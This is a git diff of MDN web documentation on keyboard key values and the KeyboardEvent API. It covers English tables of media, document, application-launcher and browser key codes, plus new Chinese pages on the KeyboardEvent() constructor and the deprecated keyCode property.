"FavoriteStore0"Stores the current program or content into the first favorites list slot.VK_STORE_FAVORITE_0
"FavoriteStore1"Stores the current program or content into the second favorites list slot.VK_STORE_FAVORITE_1
"FavoriteStore2"Stores the current program or content into the third favorites list slot.VK_STORE_FAVORITE_2
"FavoriteStore3"Stores the current program or content into the fourth favorites list slot.VK_STORE_FAVORITE_3
"Guide"Toggles the display of the program or content guide.VK_GUIDEQt::Key_Guide (0x0100011A)KEYCODE_GUIDE (172)
"GuideNextDay"If the guide is currently displayed, this button tells the guide to display the next day's content.VK_NEXT_DAY
"GuidePreviousDay"If the guide is currently displayed, this button tells the guide to display the previous day's content.VK_PREV_DAY
"Info"Toggles the display of information about the currently selected content, program, or media.VK_INFOQt::Key_Info (0x0100011B)KEYCODE_INFO (165)
"InstantReplay"Tellls the device to perform an instant replay (typically some form of jumping back a short amount of time then playing it again, possibly but not usually in slow motion).VK_INSTANT_REPLAY
"Link"Opens content liniked to the current program, if available and possible.VK_LINK
"ListProgram"Lists the current program.VK_LIST
"LiveContent"Toggles a display listing currently available live content or programs.VK_LIVE
"Lock"Locks or unlocks the currently selected content or pgoram.VK_LOCK
"MediaApps"Presents a list of media applications, such as photo viewers, audio and video players, and games. [1]VK_APPS
"MediaAudioTrack"The Audio Track key.GDK_KEY_AudioCycleTrack (0x1008FF9B)
+ Qt::Key_AudioCycleTrack (0x01000106)
KEYCODE_MEDIA_AUDIO_TRACK (222)
"MediaLast"Jumps back to the last-viewed content, program, or other media.VK_LASTQt::Key_MediaLast (0x0100FFFF)KEYCODE_LAST_CHANNEL (229)
"MediaSkipBackward"Skips backward to the previous content or program.KEYCODE_MEDIA_SKIP_BACKWARD
"MediaSkipForward"Skips forward to the next content or program.VK_SKIPKEYCODE_MEDIA_SKIP_FORWARD
"MediaStepBackward"Steps backward to the previous content or program.KEYCODE_MEDIA_STEP_BACKWARD
"MediaStepForward"Steps forward to the next content or program.KEYCODE_MEDIA_SKIP_FORWARD
"MediaTopMenu"Top Menu button; opens the media's main menu, such as on a DVD or Blu-Ray disc.Qt::Key_TopMenu (0x0100010A)KEYCODE_MEDIA_TOP_MENU
"NavigateIn"Navigates into a submenu or option.KEYCODE_NAVIGATE_IN
"NavigateNext"Navigates to the next item.KEYCODE_NAVIGATE_NEXT
"NavigateOut"Navigates out of the current screen or menu.KEYCODE_NAVIGATE_OUT
"NavigatePrevious"Navigates to the previous item.KEYCODE_NAVIGATE_PREVIOUS
"NextFavoriteChannel"Cycles to the next channel in the favorites list.VK_NEXT_FAVORITE_CHANNEL
"NextUserProfile"Cycles to the next saved user profile, if this feature is supported and multiple profiles exist.VK_USER
"OnDemand"Opens the user interface for selecting on demand content or programs to watch.VK_ON_DEMAND
"Pairing"Starts the process of pairing the remote with a device to be controlled.KEYCODE_PAIRING (225)
"PinPDown"A button to move the picture-in-picture view downward.VK_PINP_DOWN
"PinPMove"A button to control moving the picture-in-picture view.VK_PINP_MOVE
"PinPToggle"Toggles display of th epicture-in-picture view on and off.VK_PINP_TOGGLE
"PinPUp"A button to move the picture-in-picture view upward.VK_PINP_UP
"PlaySpeedDown"Decreases the media playback rate.VK_PLAY_SPEED_DOWN
"PlaySpeedReset"Returns the media playback rate to normal.VK_PLAY_SPEED_RESET
"PlaySpeedUp"Increases the media playback rate.VK_PLAY_SPEED_UP
"RandomToggle"Toggles random media (also known as "shuffle mode") on and off.VK_RANDOM_TOGGLEGDK_KEY_AudioRandomPlay (0x1008FF99)
"RcLowBattery"A code sent when the remote control's battery is low. This doesn't actually correspond to a physical key at all.VK_RC_LOW_BATTERY
"RecordSpeedNext"Cycles among the available media recording speeds.VK_RECORD_SPEED_NEXT
"RfBypass"Toggles radio frequency (RF) input bypass mode on and off. RF bypass mode passes RF input directly to the RF output without any processing or filtering.VK_RF_BYPASS
"ScanChannelsToggle"Toggles the channel scan mode on and off; this is a mode which flips through channels automatically until the user stops the scan.VK_SCAN_CHANNELS_TOGGLE
"ScreenModeNext"Cycles through the available screen display modes.VK_SCREEN_MODE_NEXT
"Settings"Toggles display of the device's settings screen on and off.VK_SETTINGSQt::Key_Settings (0x0100011C)KEYCODE_SETTINGS
"SplitScreenToggle"Toggles split screen display mode on and off.VK_SPLIT_SCREEN_TOGGLEGDK_KEY_SplitScreen (0x1008FF7D)
+ Qt::Key_SplitScreen (0x010000ED)
"STBInput" [3]Cycles among input modes on an external set-top box (STB).KEYCODE_STB_INPUT (180)
"STBPower" [3]Toggles on and off an external STB.KEYCODE_STB_POWER (179)
"Subtitle"Toggles the display of subtitles on and off if they're available.VK_SUBTITLEGDK_KEY_Subtitle (0x1008FF9A)KEYCODE_CAPTIONS (175)
"Teletext"Toggles display of {{interwiki("wikipedia", "teletext")}}, if available.VK_TELETEXTKEYCODE_TV_TELETEXT (233)
"VideoModeNext" [3]Cycles through the available video modes.VK_VIDEO_MODE_NEXTGDK_KEY_Next_VMode (0x1008FE22)
"Wink"Causes the device to identify itself in some fashion, such as by flashing a light, briefly changing the brightness of indicator lights, or emitting a tone.VK_WINK
"ZoomToggle" [2]Toggles between full-screen and scaled content display, or otherwise change the magnification level.VK_ZOOM (0xFB)Qt::Key_Zoom (0x01020006)KEYCODE_TV_ZOOM_MODE (255)
+ +

[1] Don't confuse the media controller VK_APPS key with the Windows VK_APPS key, which is also known as VK_CONTEXT_MENU. That key is encoded as "ContextMenu".

+ +

[2] Internet Explorer 9 and Firefox 36 and earlier identify the zoom toggle button as "Zoom". Firefox 37 corrects this to "ZoomToggle".

+ +

[3] These keys were "Unidentified" until Firefox 37.

+ +

Speech recognition keys

+ +

These special multimedia keys are used to control speech recognition features.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
KeyboardEvent.key ValueDescriptionVirtual Keycode
WindowsMacLinuxAndroid
"SpeechCorrectionList" [1]Presents a list of possible corrections for a word which was incorrectly identified.APPCOMMAND_CORRECTION_LIST
"SpeechInputToggle" [2]Toggles between dictation mode and command/control mode. This lets the speech engine know whether to interpret spoken words as input text or as commands.APPCOMMAND_DICTATE_OR_COMMAND_CONTROL_TOGGLE
+ +

[1] The APPCOMMAND_CORRECTION_LIST command on Windows generates "Unidentified" on Firefox.

+ +

[2] The APPCOMMAND_DICTATE_OR_COMMAND_CONTROL_TOGGLE command on Windows generates "Unidentified" on Firefox.

+ +

Document keys

+ +

These keys control documents. In the specification, they're included in other sets of keys, such as the media keys, but they make more sense when considered to be their own category.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
KeyboardEvent.key ValueDescriptionVirtual Keycode
WindowsMacLinuxAndroid
"Close" [1]Closes the current document or message. Must not exit the application.APPCOMMAND_CLOSEGDK_KEY_Close (0x1008FF56)
+ Qt::Key_Close (0x010000CE)
KEYCODE_MEDIA_CLOSE (128)
"New" [1]Creates a new document or message.APPCOMMAND_NEWGDK_KEY_New (0x1008FF68)
+ Qt::Key_New (0x01000120)
"Open" [1]Opens an existing document or message.APPCOMMAND_OPENGDK_KEY_Open (0x1008FF6B)
+ Qt::Key_Open (0x01000121)
"Print"Prints the current document or message.APPCOMMAND_PRINTGDK_KEY_Print (0xFF61)
+ Qt::Print (0x01000009)
"Save" [1]Saves the current document or message.APPCOMMAND_SAVEGDK_KEY_Save (0x1008FF77)
+ Qt::Key_Save (0x010000EA)
"SpellCheck" [1]Starts spell checking the current document.APPCOMMAND_SPELL_CHECKGDK_KEY_Spell (0x1008FF7C)
+ Qt::Key_Spell (0x010000EC)
"MailForward" [1]Opens the user interface to forward a message.APPCOMMAND_FORWARD_MAILGDK_KEY_MailForward (0x1008FF90)
+ Qt::Key_MailForward (0x010000FB)
"MailReply" [1]Opens the user interface to reply to a message.APPCOMMAND_REPLY_TO_MAILGDK_KEY_Reply (0x1008FF72)
+ Qt::Key_Reply (0x010000E5)
"MailSend" [1]Sends the current message.APPCOMMAND_SEND_MAILGDK_KEY_Send (0x1008FF7B)
+ Qt::Key_Send (0x010000EB)
+ +

[1] Prior to Firefox 37, this key generated the key value "Unidentified".

+ +

Application selector keys

+ +

Some keyboards offer special keys for launching or switching to certain common applications. Key values for those are listed here.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
KeyboardEvent.key ValueDescriptionVirtual Keycode
WindowsMacLinuxAndroid
"LaunchCalculator" [5]The Calculator key, often labeled with an icon such as {{FontAwesomeIcon("icon-calculator")}}. This is often used as a generic application launcher key (APPCOMMAND_LAUNCH_APP2).APPCOMMAND_LAUNCH_APP2GDK_KEY_Calculator (0x1008FF1D)
+ Qt::Key_Calculator (0x010000CB)
KEYCODE_CALCULATOR (210)
"LaunchCalendar" [5]The Calendar key, often labeled with an icon like {{FontAwesomeIcon("icon-calendar")}}.GDK_KEY_Calendar (0x1008FF20)
+ Qt::Key_Calendar (0x010000E4)
KEYCODE_CALENDAR (208)
"LaunchContacts"The Contacts key.KEYCODE_CONTACTS (207)
"LaunchMail"The Mail key. This is often displayed as {{FontAwesomeIcon("icon-envelope-o")}}.VK_LAUNCH_MAIL (0xB4)
+ APPCOMMAND_LAUNCH_MAIL
GDK_KEY_Mail (0x1008FF19)
+ Qt::Key_LaunchMail (0x010000A0)
KEYCODE_ENVELOPE (65)
"LaunchMediaPlayer" [1]The Media Player key.VK_LAUNCH_MEDIA_SELECT (0xB5)
+ APPCOMMAND_LAUNCH_MEDIA_SELECT
GDK_KEY_CD (0x1008FF53)
+ GDK_KEY_Video (0x1008FF87)
+ GDK_KEY_AudioMedia (0x1008FF32)
+ Qt::Key_LaunchMedia (0x010000A1)
"LaunchMusicPlayer" [5]The Music Player key, often labeled with an icon such as {{FontAwesomeIcon("icon-music")}}.GDK_KEY_Music (0x1008FF92)
+ Qt::Key_Music (0x010000FD)
KEYCODE_MUSIC (209)
"LaunchMyComputer" [5]The My Computer key on Windows keyboards. This is often used as a generic application launcher key (APPCOMMAND_LAUNCH_APP1).APPCOMMAND_LAUNCH_APP1GDK_KEY_MyComputer (0x1008FF33)
+ GDK_KEY_Explorer (0x1008FF5D)
"LaunchPhone"The Phone key, to open the phone dialer application if one is present.GDK_KEY_Phone (0x1008FF6E)
+ Qt::Key_Phone (0x010000E3)
"LaunchScreenSaver" [5]The Screen Saver key.GDK_KEY_ScreenSaver (0x1008FF2D)
+ Qt::Key_ScreenSaver (0x010000BA)
"LaunchSpreadsheet" [4]The Spreadsheet key. This key may be labeled with an icon such as {{FontAwesomeIcon("icon-table")}} or that of a specific spreadsheet application.GDK_KEY_Excel (0x1008FF5C)
+ Qt::Key_Excel (0x010000D4)
"LaunchWebBrowser" [4]The Web Browser key. This key is frequently labeled with an icon such as {{FontAwesomeIcon("icon-globe")}} or the icon of a specific browser, depending on the device manufacturer.GDK_KEY_WWW (0x1008FF2E)
+ Qt::Key_WWW (0x010000BB)
KEYCODE_EXPLORER (64)
"LaunchWebCam" [5]The WebCam key. Opens the webcam application.GDK_KEY_WebCam (0x1008FF8F)
+ Qt::Key_WebCam (0x010000FA)
"LaunchWordProcessor" [5]The Word Processor key. This may be an icon of a specific word processor application, or a generic document icon.GDK_KEY_Word (0x1008FF89)
+ Qt::Key_Word (0x010000F4)
"LaunchApplication1" [2]The first generic application launcher button.VK_LAUNCH_APP1 (0xB6)
+ APPCOMMAND_LAUNCH_APP1
GDK_KEY_Launch0 (0x1008FF40)
+ Qt::Key_Launch0 (0x010000A2)
"LaunchApplication2" [3]The second generic application launcher button.VK_LAUNCH_APP2 (0xB7)
+ APPCOMMAND_LAUNCH_APP2
GDK_KEY_Launch1 (0x1008FF41)
+ Qt::Key_Launch1 (0x010000A3)
"LaunchApplication3"The third generic application launcher button.GDK_KEY_Launch2 (0x1008FF42)
+ Qt::Key_Launch2 (0x010000A4)
"LaunchApplication4"The fourth generic application launcher button.GDK_KEY_Launch3 (0x1008FF43)
+ Qt::Key_Launch3 (0x010000A5)
"LaunchApplication5"The fifth generic application launcher button.GDK_KEY_Launch4 (0x1008FF44)
+ Qt::Key_Launch4 (0x010000A6)
"LaunchApplication6"The sixth generic application launcher button.GDK_KEY_Launch5 (0x1008FF45)
+ Qt::Key_Launch5 (0x010000A7)
"LaunchApplication7"The seventh generic application launcher button.GDK_KEY_Launch6 (0x1008FF46)
+ Qt::Key_Launch6 (0x010000A8)
"LaunchApplication8"The eighth generic application launcher button.GDK_KEY_Launch7 (0x1008FF47)
+ Qt::Key_Launch7 (0x010000A9)
"LaunchApplication9"The ninth generic application launcher button.GDK_KEY_Launch8 (0x1008FF48)
+ Qt::Key_Launch8 (0x010000AA)
"LaunchApplication10"The 10th generic application launcher button.GDK_KEY_Launch9 (0x1008FF49)
+ Qt::Key_Launch9 (0x010000AB)
"LaunchApplication11"The 11th generic application launcher button.GDK_KEY_LaunchA (0x1008FF4A)
+ Qt::Key_LaunchA (0x010000AC)
"LaunchApplication12"The 12th generic application launcher button.GDK_KEY_LaunchB (0x1008FF4B)
+ Qt::Key_LaunchB (0x010000AD)
"LaunchApplication13"The 13th generic application launcher button.GDK_KEY_LaunchC (0x1008FF4C)
+ Qt::Key_LaunchC (0x010000AE)
"LaunchApplication14"The 14th generic application launcher button.GDK_KEY_LaunchD (0x1008FF4D)
+ Qt::Key_LaunchD (0x010000AF)
"LaunchApplication15"The 15th generic application launcher button.GDK_KEY_LaunchE (0x1008FF4E)
+ Qt::Key_LaunchE (0x010000B0)
"LaunchApplication16"The 16th generic application launcher button.GDK_KEY_LaunchF (0x1008FF4F)
+ Qt::Key_LaunchF (0x010000B1)
+ +

[1] Internet Explorer, Edge, and Firefox (36 and earlier) use "SelectMedia" instead of "LaunchMediaPlayer". Firefox 37 through Firefox 48 use "MediaSelect". Firefox 49 has been updated to match the latest specification, and to return "LaunchMediaPlayer".

+ +

[2] Google Chrome 57 and earlier returned "LaunchMyComputer" instead of "LaunchApplication1". See Chrome Bug 612743 for more information.

+ +

[3] Google Chrome 57 and earlier returned "LaunchCalculator" instead of "LaunchApplication2". See Chrome Bug 612743 for more information.

+ +

[4] Prior to Firefox 37, Firefox returned the key code "LaunchApplication1" instead of "LaunchWebBrowser" for the Web browser key.

+ +

[5] Firefox introduced support for this key in Firefox 37; prior to that, this key was reported as "Unidentified".

+ +

Browser control keys

+ +

Some keyboards include special keys for controlling Web browsers. Those keys follow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
KeyboardEvent.key ValueDescriptionVirtual Keycode
WindowsMacLinuxAndroid
"BrowserBack"Navigates to the previous content or page in the current Web view's history.VK_BROWSER_BACK (0xA6)
+ APPCOMMAND_BROWSER_BACKWARD
GDK_KEY_Back (0x1008FF26)
+ Qt::Key_Back (0x01000061)
KEYCODE_BACK (4)
"BrowserFavorites" [1]Opens the user's list of bookmarks/favorites.VK_BROWSER_FAVORITES (0xAB)
+ APPCOMMAND_BROWSER_FAVORITES
GDK_KEY_Favorites (0x1008FF30)
+ GDK_KEY_MySites (0x1008FF67)
+ Qt::Favorites (0x01000091)
KEYCODE_BOOKMARK (174)
"BrowserForward"Navigates to the next content or page in the current Web view's history.VK_BROWSER_FORWARD (0xA7)
+ APPCOMMAND_BROWSER_FORWARD
GDK_KEY_Forward (0x1008FF27)
+ Qt::Key_Forward (0x01000062)
KEYCODE_FORWARD (125)
"BrowserHome"Navigates to the user's preferred home page.VK_BROWSER_HOME (0xAC)
+ APPCOMMAND_BROWSER_HOME
GDK_KEY_HomePage (0x1008FF18)
+ Qt::Key_HomePage (0x01000090)
KEYCODE_HOME (3)
"BrowserRefresh"Refreshes the current page or contentl.VK_BROWSER_REFRESH (0xA8)
+ APPCOMMAND_BROWSER_REFRESH
GDK_KEY_Refresh (0x1008FF29)
+ GDK_KEY_Reload (0x1008FF73)
"BrowserSearch"Activates the user's preferred search engine or the search interface within their browser.VK_BROWSER_SEARCH (0xAA)
+ APPCOMMAND_BROWSER_SEARCH
GDK_KEY_Search (0x1008FF1B)
+ Qt::Key_Search (0x01000092)
KEYCODE_SEARCH (84)
"BrowserStop"Stops loading the currently displayed Web view or content.VK_BROWSER_STOP (0xA9)
+ APPCOMMAND_BROWSER_STOP
GDK_KEY_Stop (0x1008FF28)
+ Qt::Key_Search (0x01000063)
+ +

[1] Prior to Firefox 37, this key's value was reported as "Unidentified".

+ +

Numeric keypad keys

+ +

These keys are found on the keyboard's numeric keypad. However, not all are present on every keyboard. Although typical numeric keypads have numeric keys from 0 to 9 (encoded as "0" through "9"), some multimedia keyboards include additional number keys for higher numbers.

+ +
+

The 10 key, if present, generates events with the key value of "0".

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
KeyboardEvent.key ValueDescriptionVirtual Keycode
WindowsMacLinuxAndroid
"Decimal" [1] {{obsolete_inline}}The decimal point key (typically . or , depending on the region. In newer browsers, this value to simply be the character generated by the decimal key (one of those two characters). [1]VK_DECIMAL (0x6E)kVK_ANSI_KeypadDecimal (0x41)GDK_KEY_KP_Decimal (0xFFAE)KEYCODE_NUMPAD_DOT (158)
"Key11"The 11 key found on certain media numeric keypads.
"Key12"The 12 key found on certain media numeric keypads.
"Multiply" [1] {{obsolete_inline}}The numeric keypad's multiplication key, *.VK_MULTIPLY (0x6A)kVK_ANSI_KeypadMultiply (0x43)GDK_KEY_KP_Multiply (0xFFAA)
+ Qt::Key_Multiply (0x0D7)
KEYCODE_NUMPAD_MULTIPLY (155)
"Add" [1] {{obsolete_inline}}The numeric keypad's addition key, +.VK_ADD (0x6B)kVK_ANSI_KeypadPlus (0x45)GDK_KEY_KP_Add (0xFFAB)KEYCODE_NUMPAD_ADD (157)
"Clear"The numeric keypad's Clear key.kVK_ANSI_KeypadClear (0x47)GDK_KEY_Clear (0xFF0B)
+ Qt::Key_Clear (0x0100000B)
KEYCODE_CLEAR (28)
"Divide" [1] {{obsolete_inline}}The numeric keypad's division key, /.VK_DIVIDE (0x6F)kVK_ANSI_KeypadDivide (0x4B)GDK_KEY_KP_Divide (0xFFAF)
+ Qt::Key_Slash (0x2F)
KEYCODE_NUMPAD_DIVIDE (154)
"Subtract" [1] {{obsolete_inline}}The numeric keypad's subtraction key, -.VK_SUBTRACT (0x6D)kVK_ANSI_KeypadMinus (0x4E)GDK_KEY_KP_Subtract (0xFFAD)KEYCODE_NUMPAD_SUBTRACT (156)
"Separator" [1]The numeric keypad's places separator character (in the United States, this is a comma, but elsewhere it is frequently a period).VK_SEPARATOR (0x6C)kVK_JIS_KeypadComma (0x5F)GDK_KEY_KP_Separator (0xFFAC)KEYCODE_NUMPAD_COMMA (159)
"0" through "9"The actual digit keys on the numeric keypad.VK_NUMPAD0 (0x60) - VK_NUMPAD9 (0x69)kVK_Keypad0 (0x52) - kVK_Keypad9 (0x5C)GDK_KEY_KP_0 (0xFFB0) - GDK_KEY_KP_9 (0xFFB9)KEYCODE_NUMPAD_0 (144) - KEYCODE_NUMPAD_9 (153)
+ +

[1] While older browsers used words like "Add", "Decimal", "Multiply", and so forth modern browsers identify these using the actual character ("+", ".", "*", and so forth).

diff --git a/files/zh-cn/web/api/keyboardevent/keyboardevent/index.html b/files/zh-cn/web/api/keyboardevent/keyboardevent/index.html new file mode 100644 index 0000000000..86c792ce4a --- /dev/null +++ b/files/zh-cn/web/api/keyboardevent/keyboardevent/index.html @@ -0,0 +1,151 @@ +--- +title: 键盘事件 KeyboardEvent() +slug: Web/API/KeyboardEvent/KeyboardEvent +tags: + - API + - DOM + - KeyboardEvent + - events +translation_of: Web/API/KeyboardEvent/KeyboardEvent +--- +

{{APIRef("DOM Events")}}

+ +

KeyboardEvent() 构造函数新建一个 {{domxref("KeyboardEvent")}} 实例。

+ +

语法

+ +
 event = new KeyboardEvent(typeArg, KeyboardEventInit);
+ +

+ +
+
typeArg
+
{{domxref("DOMString")}} 类型,表示事件名称。
+
KeyboardEventInit{{optional_inline}}
+
+ +
+
KeyboardEventInit 字典,有以下几种值: + +
    +
  • "key", 可选,默认为 "",  {{domxref("DOMString")}} 类型, 设置 {{domxref("KeyboardEvent.key")}} 的值。
  • +
  • "code", 可选,默认为 "", {{domxref("DOMString")}} 类型, 设置{{domxref("KeyboardEvent.code")}} 的值。
  • +
  • "location", 可选,默认为 0,  unsigned long类型, 设置 {{domxref("KeyboardEvent.location")}} 的值。
  • +
  • "ctrlKey", 可选,默认为 false, {{jsxref("Boolean")}} 类型, 设置 {{domxref("KeyboardEvent.ctrlKey")}} 的值。
  • +
  • "shiftKey", 可选,默认为 false, {{jsxref("Boolean")}} 类型, 设置{{domxref("KeyboardEvent.shiftKey")}} 的值。
  • +
  • "altKey", 可选,默认为 false, {{jsxref("Boolean")}} 类型, 设置 {{domxref("KeyboardEvent.altKey")}} 的值。
  • +
  • "metaKey", 可选,默认为 false, {{jsxref("Boolean")}} 类型, 设置 {{domxref("KeyboardEvent.metaKey")}} 的值。
  • +
  • "repeat", 可选,默认为 false, {{jsxref("Boolean")}} 类型, 设置 {{domxref("KeyboardEvent.repeat")}} 的值。
  • +
  • "isComposing", 可选,默认为 false, {{jsxref("Boolean")}} 类型, 设置 {{domxref("KeyboardEvent.isComposing")}} 的值。
  • +
  • "charCode", 可选,默认为 0, unsigned long 类型, 设置 {{domxref("KeyboardEvent.charCode")}} (已废弃) 的值。
  • +
  • "keyCode", 可选,默认为 0, unsigned long 类型, 设置{{domxref("KeyboardEvent.keyCode")}} (已废弃) 的值。
  • +
  • "which", 可选,默认为 0, unsigned long 类型, 设置{{domxref("KeyboardEvent.which")}} (已废弃) 的值。
  • +
+ +
+

KeyboardEventInit 字典也可以接受来自 {{domxref("UIEvent.UIEvent", "UIEventInit")}} 和 {{domxref("Event.Event", "EventInit")}} 的字典字段值。

+
+
+
+ +

标准

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('UI Events','#interface-keyboardevent','KeyboardEvent()')}}{{Spec2('UI Events')}}Current definition.
{{SpecName('DOM3 Events','#interface-KeyboardEvent','KeyboardEvent()')}}{{Spec2('DOM3 Events')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
特性ChromeFirefox (Gecko)Internet ExplorerOperaSafari
基本支持{{ CompatVersionUnknown() }}{{ CompatGeckoDesktop(31) }}{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}
初始化 code 和 key{{CompatChrome(49.0)}}    
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
特性AndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
基本支持{{ CompatUnknown }}{{ CompatVersionUnknown() }}{{ CompatGeckoMobile(31) }}{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{CompatVersionUnknown}}
初始化 code 和 key{{CompatNo}}{{CompatChrome(49.0)}}    {{CompatChrome(49.0)}}
+
+ +

参考

+ + diff --git a/files/zh-cn/web/api/keyboardevent/keycode/index.html b/files/zh-cn/web/api/keyboardevent/keycode/index.html new file mode 100644 index 0000000000..c41e21285f --- /dev/null +++ b/files/zh-cn/web/api/keyboardevent/keycode/index.html @@ -0,0 +1,3220 @@ +--- +title: KeyboardEvent.keyCode +slug: Web/API/KeyboardEvent/keyCode +translation_of: Web/API/KeyboardEvent/keyCode +--- +

{{APIRef("DOM Events")}}{{deprecated_header()}}

+ +

这个只读的属性 KeyboardEvent.keyCode 代表着一个唯一标识的所按下的键的未修改值,它依据于一个系统和实现相关的数字代码。这通常是与密钥对应的二进制的ASCII ({{RFC(20)}})或Windows 1252 码。如果这个键不能被标志,这个值为0。

+ +

你应该尽量避免使用它;它已经被弃用了一段时间。相反的,如果它在你的浏览器中被实现了的话,你应该使用{{domxref("KeyboardEvent.code")}}。 不幸的是,有一些浏览器还是没有实现它,所以你在使用之前必须要小心,确认你所使用的那个被所有目标浏览器所支持。

+ +
+

在处理keydown和keyup事件时,Web开发人员不应使用可打印字符的keycode属性。如上所述,keycode属性对可打印字符不有用,尤其是那些按下shift或alt键的输入。在实现快捷键处理程序时,事件(“keypress”)事件通常更好(至少当gecko是正在使用的运行时)。详情请参见Gecko按键事件.

+
+ +

Example

+ +
window.addEventListener("keydown", function (event) {
+  if (event.defaultPrevented) {
+    return; // 如果已取消默认操作,则不应执行任何操作
+  }
+
+  var handled = false;
+  if (event.key !== undefined) {
+    // 使用KeyboardEvent.key处理事件,并将handled设置为true。
+  } else if (event.keyCode !== undefined) {
+    //使用KeyboardEvent.keyCode处理事件并将handled设置为true。
+  }
+
+  if (handled) {
+    // 如果事件已处理,则禁止“双重操作”
+    event.preventDefault();
+  }
+}, true);
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态Comment评论
{{SpecName('DOM3 Events','#widl-KeyboardEvent-keyCode','KeyboardEvent.keyCode')}}{{Spec2('DOM3 Events')}}初始定义;指定为已弃用
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
特征谷歌EdgeFirefox (Gecko)Internet ExplorerOperaSafari
基础支持26 (probably earlier){{CompatVersionUnknown}}3.0 (possibly earlier)611.6 (probably earlier)5 (probably earlier)
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
特征AndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基础支持{{ CompatUnknown() }}{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }} +

5.1

+
+
+ +

{{Compat("api.KeyboardEvent.keyCode")}}

+ +

键码值

+ +

标准位置的可打印键

+ +

在标准位置按下或释放可打印键导致的按键事件值在浏览器之间不兼容。
+ IE只将本机虚拟密钥代码值公开为keyboardvent.keycode。
+ Google Chrome、Chromium和Safari必须根据输入字符确定值。如果输入字符可以用US键盘布局输入,则使用US键盘布局上的keycode值。
+ 从gecko 15 geckore lease(“15.0”)开始,gecko从一个可由键输入的ASCII字符(即使具有移位修饰符或支持ASCII的键盘布局)决定键码值。有关详细信息,请参见以下规则:

+ +
    +
  1. 如果系统是Windows,并且按下键的本机键代码指示键是A-Z或0-9,请使用keycode。
  2. +
  3. 如果系统是Mac,并且按下键的本机键码指示键为0-9,则使用keycode。
  4. +
  5. 如果按下键输入一个ASCII字母或数字,没有修改键,请使用keycode。
  6. +
  7. 如果按下键输入带SHIFT键的ASCII字母或数字,请使用keycode。
  8. +
  9. 如果按下键输入另一个没有修改键的ASCII字符,请使用keycode。
  10. +
  11. 如果按下键输入另一个带SHIFT键的ASCII字符,请使用keycode。
  12. +
  13. 否则,即按下键输入一个Unicode字符:
  14. +
+ + + +

从 Firefox 60 {{geckoRelease("60.0")}}开始, Gecko 会尽可能的根据以下规则额设置标点符号的 keyCode 值(当满足上述7.1或者7.2的时候):

+ +
+

这些附加规则的目的是为了使键盘布局映射unicode字符映射到美国键盘标点符号的用户可以使用只支持ASCII的键盘或者美国键盘布局的Firefox的web应用。否则,新映射的 keyCode 值可能会和其他按键冲突。例如,如果当前键盘布局是俄语,"Period" 键 和 "Slash" 键的 keyCode 都会是 190KeyEvent.DOM_VK_PERIOD)。如果你需要区分这些按键但是你自己又不想支持时间上所有的键盘布局,你可能应该使用 {{domxref("KeyboardEvent.code")}}。

+
+ +
    +
  1. 如果运行macOS或者Linux: +
      +
    1. 如果你当前的键盘布局不支持ASCII并且候选支持ASCII键盘布局可用。 +
        +
      1. 如果候选支持ASCII的键盘布局仅通过未修改的键产生ASCII字符,请对该字符使用keyCode。
      2. +
      3. 如果候选支持ASCII的键盘布局产生带有Shift键修饰符的ASCII字符,请对该字符使用keyCode
      4. +
      5. 否则,在美国键盘布局激活时,使用使用keyCode表示由按键产生的ASCII字符。
      6. +
      +
    2. +
    3. 否则,在美国键盘布局激活时,使用使用keyCode表示由按键产生的ASCII字符。
    4. +
    +
  2. +
  3. 如果运行Windows: +
      +
    1. 当美国键盘布局激活时,使用映射到Windows的相同虚拟键代码的按键产生的ASCII字符的keyCode值。
    2. +
    +
  4. +
+ +

由标准位置的可打印键引起的每个浏览器的keydown事件的keycode值

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 